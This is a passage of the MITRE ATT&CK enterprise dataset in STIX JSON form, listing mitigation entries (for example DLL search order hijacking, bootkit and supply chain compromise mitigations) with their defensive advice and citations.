2017)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1041","external_id":"T1041"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T19:19:30.892Z","name":"Exfiltration Over Command and Control Channel Mitigation","description":"Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1068","external_id":"T1068"},{"source_name":"Ars Technica Pwn2Own 2017 VM Escape","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"},{"source_name":"TechNet Moving Beyond EMET","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/"},{"source_name":"Wikipedia Control Flow Integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","url":"https://en.wikipedia.org/wiki/Control-flow_integrity"}],"modified":"2019-07-24T19:26:18.998Z","name":"Exploitation for Privilege Escalation Mitigation","description":"Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--9378f139-10ef-4e4b-b679-2255a0818902","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1058","url":"https://attack.mitre.org/mitigations/T1058","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2020-01-17T16:45:24.258Z","name":"Service Registry Permissions Weakness Mitigation","description":"Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","type":"course-of-action","created":"2019-06-06T16:50:58.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1018","url":"https://attack.mitre.org/mitigations/M1018"}],"modified":"2020-05-20T13:49:12.270Z","name":"User Account Management","description":"Manage the creation, modification, use, and permissions associated to user accounts.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1131","external_id":"T1131"},{"source_name":"Graeber 2014","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"},{"source_name":"Microsoft Configure LSA","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","url":"https://technet.microsoft.com/en-us/library/dn408187.aspx"}],"modified":"2019-07-24T14:34:11.298Z","name":"Authentication Package Mitigation","description":"Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1165","external_id":"T1165"}],"modified":"2019-07-25T12:01:55.766Z","name":"Startup Items Mitigation","description":"Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1126","url":"https://attack.mitre.org/mitigations/T1126","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.119Z","name":"Network Share Connection Removal Mitigation","description":"Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1185","external_id":"T1185"}],"modified":"2019-07-25T11:12:34.303Z","name":"Man in the Browser Mitigation","description":"Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1182","url":"https://attack.mitre.org/mitigations/T1182","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2020-01-17T16:45:23.701Z","name":"AppCert DLLs Mitigation","description":"Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1014","url":"https://attack.mitre.org/mitigations/T1014","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:18.627Z","name":"Rootkit Mitigation","description":"Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1067","external_id":"T1067"},{"url":"http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf","description":"Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.","source_name":"TCG Trusted Platform Module"},{"url":"https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process","description":"Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.","source_name":"TechNet Secure Boot Process"}],"modified":"2020-04-23T19:10:28.284Z","name":"Bootkit Mitigation","description":"Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1038","url":"https://attack.mitre.org/mitigations/T1038","source_name":"mitre-attack"},{"url":"http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx","description":"Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.","source_name":"Microsoft DLL Preloading"},{"url":"http://msdn.microsoft.com/en-US/library/ms682586","description":"Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.","source_name":"Microsoft DLL Search"},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2021-08-23T20:25:18.194Z","name":"DLL Search Order Hijacking Mitigation","description":"Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--97d8eadb-0459-4c1d-bf1a-e053bd75df61","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1195","external_id":"T1195"},{"source_name":"MITRE SE Guide 2014","description":"The MITRE Corporation. (2014). MITRE Systems Engineering Guide. Retrieved April 6, 2018.","url":"https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf"},{"source_name":"NIST Supply Chain 2012","description":"Boyens, J,. Et al.. (2002, October). Notional Supply Chain Risk Management Practices for Federal Information Systems. Retrieved April 6, 2018.","url":"http://dx.doi.org/10.6028/NIST.IR.7622"},{"description":"OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.","url":"https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/","source_name":"OWASP Top 10 2017"}],"modified":"2020-07-14T22:23:56.006Z","name":"Supply Chain Compromise Mitigation","description":"Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.\n\nLeverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): \n\n* Uniquely Identify Supply Chain Elements, Processes, and Actors\n* Limit Access and Exposure within the Supply Chain\n* Establish and Maintain the Provenance of Elements, Processes, Tools, and Data\n* Share Information within Strict Limits\n* Perform SCRM Awareness and Training\n* Use Defensive Design for Systems, Elements, and Processes\n* Perform Continuous Integrator Review\n* Strengthen Delivery Mechanisms\n* Assure Sustainment Activities and Processes\n* Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle\n\nA patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","type":"course-of-action","created":"2019-06-06T20:54:49.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1022","url":"https://attack.mitre.org/mitigations/M1022"}],"modified":"2020-05-20T15:12:39.136Z","name":"Restrict File and Directory Permissions","description":"Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1136","external_id":"T1136"}],"modified":"2019-07-24T18:11:24.572Z","name":"Create Account Mitigation","description":"Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1018","url":"https://attack.mitre.org/mitigations/T1018","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.921Z","name":"Remote System Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1037","url":"https://attack.mitre.org/mitigations/T1037","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2020-01-17T16:45:23.905Z","name":"Logon Scripts Mitigation","description":"Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-17T18:55:04.576Z","name":"Privileged Account Management","description":"Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","type":"course-of-action","id":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","created":"2019-06-06T21:09:47.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1026","external_id":"M1026"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1180","external_id":"T1180"},{"url":"https://technet.microsoft.com/library/cc938799.aspx","description":"Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.","source_name":"TechNet Screensaver GP"}],"modified":"2019-07-25T11:40:31.541Z","name":"Screensaver Mitigation","description":"Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver 